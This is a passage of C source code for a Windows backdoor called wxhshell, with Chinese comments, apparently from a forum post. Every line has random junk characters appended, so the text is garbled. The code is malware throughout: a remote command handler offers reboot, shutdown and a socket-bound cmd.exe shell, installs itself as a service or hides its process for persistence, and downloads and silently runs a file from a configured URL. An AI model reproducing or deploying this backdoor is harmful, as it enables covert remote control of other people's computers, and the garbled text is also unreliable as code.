  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ agZ D+  
  if(DownloadFile(cmd,wsh)) ,M;9|kE*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vv}R S@4U  
  else LK~aLa5wG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]|.ked  
  } 5M~{MdF|.  
  else { `a4&_`E,p  
5b7(^T^K  
    switch(cmd[0]) { hOU H1m.  
  'UIFP#GtFO  
  // 帮助 o5tCbsHj-  
  case '?': { MhD'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fw jo?  
    break; oNAnJ+_  
  } igfQ,LWe!  
  // 安装 &Mk!qE<:N  
  case 'i': { ]=q auf>3  
    if(Install()) _TOWqV^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J8alqs7  
    else );7 d_#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,G t!nm_  
    break; _|#abLh%  
    } B2ln8NF#Q  
  // 卸载 A _zCSRF,  
  case 'r': { BB/wL_=:  
    if(Uninstall()) !H\o Qv-I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sv% X8  
    else N|DI k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FfJp::|ddr  
    break; Qh1pX}X  
    } "/aZ*mkjfJ  
  // 显示 wxhshell 所在路径 PN l/}'  
  case 'p': { j2MA['{  
    char svExeFile[MAX_PATH]; O8@65URKx  
    strcpy(svExeFile,"\n\r"); cERIj0~  
      strcat(svExeFile,ExeFile); -[7+g  
        send(wsh,svExeFile,strlen(svExeFile),0); ?ZlXh51  
    break; })/P[^  
    } 4d@yAr}  
  // 重启 5qtk#FB  
  case 'b': { K6IT$$g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .[O{,r  
    if(Boot(REBOOT)) lPR=C0h}@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gT+g@\u[  
    else { a|7C6#iz$  
    closesocket(wsh); 2d[q5p  
    ExitThread(0); L/tpT?$fi  
    } V/ G1C^'/  
    break; 73cb1 kfPd  
    } [`\VgKeu  
  // 关机 AOR?2u  
  case 'd': { j ~-N2b6z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xSmG,}3mF  
    if(Boot(SHUTDOWN))  pux IJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rFg$7  
    else { [gmov)\c  
    closesocket(wsh); "`49m7q1H  
    ExitThread(0); kw#X,h P  
    } UA6id|G  
    break; o8g7wM]M  
    } lvke!~#  
  // 获取shell q`c!!Lg  
  case 's': { 2LtDS?)@  
    CmdShell(wsh); %} `` :  
    closesocket(wsh); yW|J`\`^T  
    ExitThread(0); ^5sA*%T4  
    break; PXMd=,}  
  } @Lnv  
  // 退出 HoGYgye=  
  case 'x': { Fc1!i8vv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F/s n"2  
    CloseIt(wsh); p3=Py7iz  
    break; m)tu~ neM  
    } fvC,P#z'|  
  // 离开 Ss>pNH@ c  
  case 'q': { |U|>YA1[b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BIWe Hx  
    closesocket(wsh); d+q],\"R  
    WSACleanup(); W@T \i2r$z  
    exit(1); {cXr!N^K  
    break; [I *_0  
        } |(>`qL{|  
  } xnZnbgO+  
  } )zr*Ecz  
BiYxI{VFD  
  // 提示信息 }nd>SK4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H9*k(lnz`  
} +8Lbz^#  
  } GTdoUSUq  
ZyGoOk  
  return; [:y:_ECs6  
} A & iv  
B)JMughq_  
// shell模块句柄 L kK *.  
int CmdShell(SOCKET sock) Ul}RT xJ  
{  k[r^@|  
STARTUPINFO si; vE:*{G;Y  
ZeroMemory(&si,sizeof(si)); >C|pY6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2RkW/) A9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~1uQyt  
PROCESS_INFORMATION ProcessInfo; >yC=@Uq+  
char cmdline[]="cmd"; tMxd e+ $y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZxF`i>/h  
  return 0; ;4rhh h&  
} G4cgY|71  
 i0=U6S:#  
// 自身启动模式 U~x]2{}  
int StartFromService(void) DDeU:  
{ ` B)@  
typedef struct _,J+b R+b  
{ w2DC5ei'  
  DWORD ExitStatus; b#_RZ  
  DWORD PebBaseAddress; m/=nz.  
  DWORD AffinityMask; A=N$5ZJ  
  DWORD BasePriority; pa>C}jk}6  
  ULONG UniqueProcessId; =1IK"BA2?  
  ULONG InheritedFromUniqueProcessId; }DhqzKl  
}   PROCESS_BASIC_INFORMATION; 2&1mI>:F  
2aYBcPFQh#  
PROCNTQSIP NtQueryInformationProcess; ot}erC2~  
xo[o^go  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .t "VsY|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?o " Vkc:  
W"NI^OX  
  HANDLE             hProcess; K[z)ts-  
  PROCESS_BASIC_INFORMATION pbi; *] i hc u  
jWrU'X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xp^RAVXq`  
  if(NULL == hInst ) return 0; \&Yn)|!  
F 3|^b{'zO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4aXIRu%#7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1/}H 0\9'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8 lggGt  
,2M}qs"P7G  
  if (!NtQueryInformationProcess) return 0; [Hh-F#|R  
b>-DX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *#=Ijr~  
  if(!hProcess) return 0; nR_Z rm  
:G _  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q'mh*  
2R/|/>T v  
  CloseHandle(hProcess); 9!( 8o  
T\l`Y-vu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OC=&!<  
if(hProcess==NULL) return 0; d(q1 ?{zr4  
;R?@ D]  
HMODULE hMod; 0AB a&'h  
char procName[255]; p'jc=bL E  
unsigned long cbNeeded; CWdsOS=  
T fLqxioqZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @DysM~I  
:q9!  
  CloseHandle(hProcess); ~i.*fL_Y  
a-NTA  
if(strstr(procName,"services")) return 1; // 以服务启动 }N g P`m  
<M:BN6-yG  
  return 0; // 注册表启动 7e"}ojt$  
} 94tfR$W;-  
kdNo<x1o  
// 主模块 rFXdxRP;M  
int StartWxhshell(LPSTR lpCmdLine) ^')8-aF .  
{ y'2|E+*V  
  SOCKET wsl; @v)Z>xv  
BOOL val=TRUE; Gx C+lqH#  
  int port=0;  YSD G!  
  struct sockaddr_in door; y7HFmGM  
'09|Y#F  
  if(wscfg.ws_autoins) Install(); iWCYK7c@.-  
xC)bW,%  
port=atoi(lpCmdLine); B>2R-pa4~  
` Ig5*X4|  
if(port<=0) port=wscfg.ws_port; V*?cMJ_G  
F^%w%E\  
  WSADATA data; h@%Xy(/m'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6 >kULp  
)-2Nc7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d/d)MoaJ*t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h P6f   
  door.sin_family = AF_INET; qAjtvc2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SXL3>-Z E  
  door.sin_port = htons(port); {$frR "K  
2`=jKt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YC6T0m  
closesocket(wsl); 4(L mjue]?  
return 1; si0}b~t  
} :60v bO  
7#LIGr  
  if(listen(wsl,2) == INVALID_SOCKET) { o}AXp@cqi  
closesocket(wsl); !^arWH[od  
return 1; F- ,gj{s  
} khy'Y&\F;  
  Wxhshell(wsl); 63fYX"  
  WSACleanup(); )@wC6Ij  
zx#Gm=H4  
return 0; {5 dVK  
m\>gOTpA4  
} 07LyB\l~  
`D+zX  
// 以NT服务方式启动 Olzw)WjG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wdd}y`lS  
{ DGvuo 8  
DWORD   status = 0; 2 }xePX9?  
  DWORD   specificError = 0xfffffff; V(S7mA:T  
u]*7",R uU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /2K"Mpf8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K6v~!iiK$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I\)`,w  
  serviceStatus.dwWin32ExitCode     = 0; bDl:,7;  
  serviceStatus.dwServiceSpecificExitCode = 0; "tyRnUP  
  serviceStatus.dwCheckPoint       = 0; 45yP {+/-Q  
  serviceStatus.dwWaitHint       = 0; m212 gc0u  
Jm4uj &}3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y '/6T]a  
  if (hServiceStatusHandle==0) return; yy3rh(ea  
I!/32* s1t  
status = GetLastError(); Ca |}i+  
  if (status!=NO_ERROR) mb*Yw 6q  
{ :2/L1A)O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !9d7wPUFr  
    serviceStatus.dwCheckPoint       = 0; +g1>h ,K 3  
    serviceStatus.dwWaitHint       = 0; B!'K20"gF  
    serviceStatus.dwWin32ExitCode     = status; IyO 0~Vx>  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4  %0s p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hW*o;o7u  
    return; <'\Nv._2a  
  } PZ]tl  
5_9`v@-4_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w{tA{{  
  serviceStatus.dwCheckPoint       = 0; X'OpR   
  serviceStatus.dwWaitHint       = 0; k0Vri$x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J jAxNviG  
} A'EI1_3{  
C%4ed#  
// 处理NT服务事件,比如:启动、停止 N'b GL%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1H-Wk  
{ hDXTC_^s  
switch(fdwControl)  2s}S9  
{ vQ< ~-E  
case SERVICE_CONTROL_STOP: -ssb|r  
  serviceStatus.dwWin32ExitCode = 0; 'o&d!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S*l/ Sa@  
  serviceStatus.dwCheckPoint   = 0; lT[,w9$  
  serviceStatus.dwWaitHint     = 0; ;@; a eu  
  { ^wy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ #=d@Nw_  
  } JA^!i98{  
  return; R>c>wYt'f  
case SERVICE_CONTROL_PAUSE: c]pz&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QQAEG#.5  
  break; "%T~d[M  
case SERVICE_CONTROL_CONTINUE: W^<AUT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U5"u h} 3  
  break; "kApGNB  
case SERVICE_CONTROL_INTERROGATE: 8u*<GbKGI  
  break; z83v J*.  
}; a?gF;AYk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~gX1n9_n  
} uyX % &r  
?8 }pZ_j  
// 标准应用程序主函数 s#7"ZN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #IH9S5B [  
{ NDRD PD  
(aYu[ML  
// 获取操作系统版本 *<\ `"C;  
OsIsNt=GetOsVer(); 89 d%P J0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xh;gAh5n  
W'6DwV|  
  // 从命令行安装 !oyo_h  
  if(strpbrk(lpCmdLine,"iI")) Install(); EC,,l'%a|/  
hk !=ZE3  
  // 下载执行文件 ;Am3eJa*-  
if(wscfg.ws_downexe) { 7~2_'YX>:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) th{J;a  
  WinExec(wscfg.ws_filenam,SW_HIDE); d- ZUuw  
} +"84.PZ  
45biy(qa  
if(!OsIsNt) { X1w11Z7o  
// 如果时win9x,隐藏进程并且设置为注册表启动 $z!G%PO1%  
HideProc(); FH}?QebSR  
StartWxhshell(lpCmdLine); .]>Tj^1  
} 7#JnQ| ]  
else #JYl%=#,  
  if(StartFromService()) @>2]zMFf  
  // 以服务方式启动 :s_o'8z7L  
  StartServiceCtrlDispatcher(DispatchTable); q%,86A>  
else r2:{r`ocM  
  // 普通方式启动 8YZ9  
  StartWxhshell(lpCmdLine); feX o"J  
-O &>HA  
return 0; ]fb@>1 jp  
}
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只看该作者 1 发表于: 2006-10-10
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